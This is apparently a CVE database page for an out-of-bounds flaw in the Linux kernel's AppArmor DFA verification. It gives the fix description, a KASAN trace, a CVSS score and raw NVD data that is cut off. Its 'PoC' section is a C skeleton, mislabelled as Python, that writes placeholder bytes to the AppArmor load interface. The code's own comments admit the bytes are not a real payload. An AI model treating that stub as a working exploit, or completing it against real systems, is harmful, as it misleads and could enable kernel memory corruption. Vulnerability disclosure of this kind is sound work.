CVE-2026-23407

Description

In the Linux kernel, the following vulnerability has been resolved: apparmor: fix missing bounds check on DEFAULT table in verify_dfa() The verify_dfa() function only checks DEFAULT_TABLE bounds when the state is not differentially encoded. When the verification loop traverses the differential encoding chain, it reads k = DEFAULT_TABLE[j] and uses k as an array index without validation. A malformed DFA with DEFAULT_TABLE[j] >= state_count, therefore, causes both out-of-bounds reads and writes. [ 57.179855] ================================================================== [ 57.180549] BUG: KASAN: slab-out-of-bounds in verify_dfa+0x59a/0x660 [ 57.180904] Read of size 4 at addr ffff888100eadec4 by task su/993 [ 57.181554] CPU: 1 UID: 0 PID: 993 Comm: su Not tainted 6.19.0-rc7-next-20260127 #1 PREEMPT(lazy) [ 57.181558] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 57.181563] Call Trace: [ 57.181572] <TASK> [ 57.181577] dump_stack_lvl+0x5e/0x80 [ 57.181596] print_report+0xc8/0x270 [ 57.181605] ? verify_dfa+0x59a/0x660 [ 57.181608] kasan_report+0x118/0x150 [ 57.181620] ? verify_dfa+0x59a/0x660 [ 57.181623] verify_dfa+0x59a/0x660 [ 57.181627] aa_dfa_unpack+0x1610/0x1740 [ 57.181629] ? __kmalloc_cache_noprof+0x1d0/0x470 [ 57.181640] unpack_pdb+0x86d/0x46b0 [ 57.181647] ? srso_alias_return_thunk+0x5/0xfbef5 [ 57.181653] ? srso_alias_return_thunk+0x5/0xfbef5 [ 57.181656] ? aa_unpack_nameX+0x1a8/0x300 [ 57.181659] aa_unpack+0x20b0/0x4c30 [ 57.181662] ? srso_alias_return_thunk+0x5/0xfbef5 [ 57.181664] ? stack_depot_save_flags+0x33/0x700 [ 57.181681] ? kasan_save_track+0x4f/0x80 [ 57.181683] ? kasan_save_track+0x3e/0x80 [ 57.181686] ? __kasan_kmalloc+0x93/0xb0 [ 57.181688] ? __kvmalloc_node_noprof+0x44a/0x780 [ 57.181693] ? aa_simple_write_to_buffer+0x54/0x130 [ 57.181697] ? policy_update+0x154/0x330 [ 57.181704] aa_replace_profiles+0x15a/0x1dd0 [ 57.181707] ? srso_alias_return_thunk+0x5/0xfbef5 [ 57.181710] ? __kvmalloc_node_noprof+0x44a/0x780 [ 57.181712] ? aa_loaddata_alloc+0x77/0x140 [ 57.181715] ? srso_alias_return_thunk+0x5/0xfbef5 [ 57.181717] ? _copy_from_user+0x2a/0x70 [ 57.181730] policy_update+0x17a/0x330 [ 57.181733] profile_replace+0x153/0x1a0 [ 57.181735] ? rw_verify_area+0x93/0x2d0 [ 57.181740] vfs_write+0x235/0xab0 [ 57.181745] ksys_write+0xb0/0x170 [ 57.181748] do_syscall_64+0x8e/0x660 [ 57.181762] entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 57.181765] RIP: 0033:0x7f6192792eb2 Remove the MATCH_FLAG_DIFF_ENCODE condition to validate all DEFAULT_TABLE entries unconditionally.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 2026-01-27 (Approximate)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-23407
 * This is a conceptual trigger. The actual exploit requires crafting
 * a specific AppArmor binary profile format with a malformed
 * DEFAULT_TABLE to bypass the incomplete bounds check.
 *
 * Compile: gcc -o poc_exploit poc_exploit.c
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

#define APPARMOR_LOAD_PATH "/sys/kernel/security/apparmor/.load"

int main() {
    int fd;
    // Malformed binary data representing a DFA with invalid DEFAULT_TABLE entries
    // The exact bytes would need to be reverse-engineered from the kernel source.
    unsigned char malformed_profile[] = {
        0xAA, 0xAA, 0x01, 0x00, /* Header placeholder */
        /* ... Insert crafted DFA tables here ... */
        0xFF, 0xFF, 0xFF, 0xFF  /* Trigger DEFAULT_TABLE[j] >= state_count */
    };
    size_t len = sizeof(malformed_profile);

    printf("[*] Attempting to load malformed AppArmor profile...\n");

    fd = open(APPARMOR_LOAD_PATH, O_WRONLY);
    if (fd < 0) {
        perror("[-] Failed to open AppArmor load interface (needs root or CAP_MAC_ADMIN)");
        return 1;
    }

    if (write(fd, malformed_profile, len) != len) {
        perror("[-] Write failed");
        close(fd);
        return 1;
    }

    close(fd);
    printf("[+] Payload sent. Check kernel logs for KASAN report.\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23407
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23407
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23407/
[4] VulDB https://vuldb.com/cve/CVE-2026-23407
[5] https://git.kernel.org/stable/c/22094c996968a7c5b59cd3fc9fcbdfdd46d02fec
[6] https://git.kernel.org/stable/c/555829fd91eaf0711e369b0a92aecb0f0aa3281f
[7] https://git.kernel.org/stable/c/5a68e46dfe0c8c8ffc6f425ebc4cae6238566ecc
[8] https://git.kernel.org/stable/c/76b4d36c5122866452d34d8f79985e191f9c3831
[9] https://git.kernel.org/stable/c/7c7cf05e0606f554c467e3a4dc49e2e578a755b4
[10] https://git.kernel.org/stable/c/a75e12ca90c9e70ba10fee1be2f63cdd63d91a7c
[11] https://git.kernel.org/stable/c/d352873bbefa7eb39995239d0b44ccdf8aaa79a4
[12] https://git.kernel.org/stable/c/f39e126e56c6ec1930fae51ad6bca3dae2a4c3ed

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23407", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-01T09:16:16.527", "lastModified": "2026-04-24T16:38:39.543", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\napparmor: fix missing bounds check on DEFAULT table in verify_dfa()\n\nThe verify_dfa() function only checks DEFAULT_TABLE bounds when the state\nis not differentially encoded.\n\nWhen the verification loop traverses the differential encoding chain,\nit reads k = DEFAULT_TABLE[j] and uses k as an array index without\nvalidation. A malformed DFA with DEFAULT_TABLE[j] >= state_count,\ntherefore, causes both out-of-bounds reads and writes.\n\n[ 57.179855] ==================================================================\n[ 57.180549] BUG: KASAN: slab-out-of-bounds in verify_dfa+0x59a/0x660\n[ 57.180904] Read of size 4 at addr ffff888100eadec4 by task su/993\n\n[ 57.181554] CPU: 1 UID: 0 PID: 993 Comm: su Not tainted 6.19.0-rc7-next-20260127 #1 PREEMPT(lazy)\n[ 57.181558] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n[ 57.181563] Call Trace:\n[ 57.181572] <TASK>\n[ 57.181577] dump_stack_lvl+0x5e/0x80\n[ 57.181596] print_report+0xc8/0x270\n[ 57.181605] ? verify_dfa+0x59a/0x660\n[ 57.181608] kasan_report+0x118/0x150\n[ 57.181620] ? verify_dfa+0x59a/0x660\n[ 57.181623] verify_dfa+0x59a/0x660\n[ 57.181627] aa_dfa_unpack+0x1610/0x1740\n[ 57.181629] ? __kmalloc_cache_noprof+0x1d0/0x470\n[ 57.181640] unpack_pdb+0x86d/0x46b0\n[ 57.181647] ? srso_alias_return_thunk+0x5/0xfbef5\n[ 57.181653] ? srso_alias_return_thunk+0x5/0xfbef5\n[ 57.181656] ? aa_unpack_nameX+0x1a8/0x300\n[ 57.181659] aa_unpack+0x20b0/0x4c30\n[ 57.181662] ? srso_alias_return_thunk+0x5/0xfbef5\n[ 57.181664] ? stack_depot_save_flags+0x33/0x700\n[ 57.181681] ? kasan_save_track+0x4f/0x80\n[ 57.181683] ? kasan_save_track+0x3e/0x80\n[ 57.181686] ? __kasan_kmalloc+0x93/0xb0\n[ 57.181688] ? __kvmalloc_node_noprof+0x44a/0x780\n[ 57.181693] ? aa_simple_write_to_buffer+0x54/0x130\n[ 57.181697] ? policy_update+0x154/0x330\n[ 57.181704] aa_replace_profiles+0x15a/0x1dd0\n[ 57.181707] ? srso_alias_return_thunk+0x5/0xfbef5\n[ 57.181710] ? __kvmalloc_node_noprof+0x44a/0x780\n[ 57.181712] ? aa_loaddata_alloc+0x77/0x140\n[ 57.181715] ? srso_alias_return_thunk+0x5/0xfbef5\n[ 57.181717] ? _copy_from_user+0x2a/0x70\n[ 57.181730] policy_update+0x17a/0x330\n[ 57.181733] profile_replace+0x153/0x1a0\n[ 57.181735] ? rw_verify_area+0x93/0x2d0\n[ 57.181740] vfs_write+0x235/0xab0\n[ 57.181745] ksys_write+0xb0/0x170\n[ 57.181748] do_syscall_64+0x8e/0x660\n[ 57.181762] entry_SYSCALL_64_after_hwframe+0x76/0x7e\n[ 57.181765] RIP: 0033:0x7f6192792eb2\n\nRemove the MATCH_FLAG_DIFF_ENCODE condition to validate all DEFAULT_TABLE\nentries unconditionally."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.17.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "E395B1A0-3F3F-4299-9E96-FE513DCFE882"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.169", "matchCriteriaId": "DBEC0E5D-641C-4E98-A6D9-5799B10CE451"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.77", "matchCriteriaId": "B3D12E00-E42D-4056-B354-BAD4903C03A5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.18", "matchCriteriaId": "346AD1FB-0CE8-4D9D-8E56-5EB1A4D06199"}, {"vulnerable": true, "criter ... (truncated)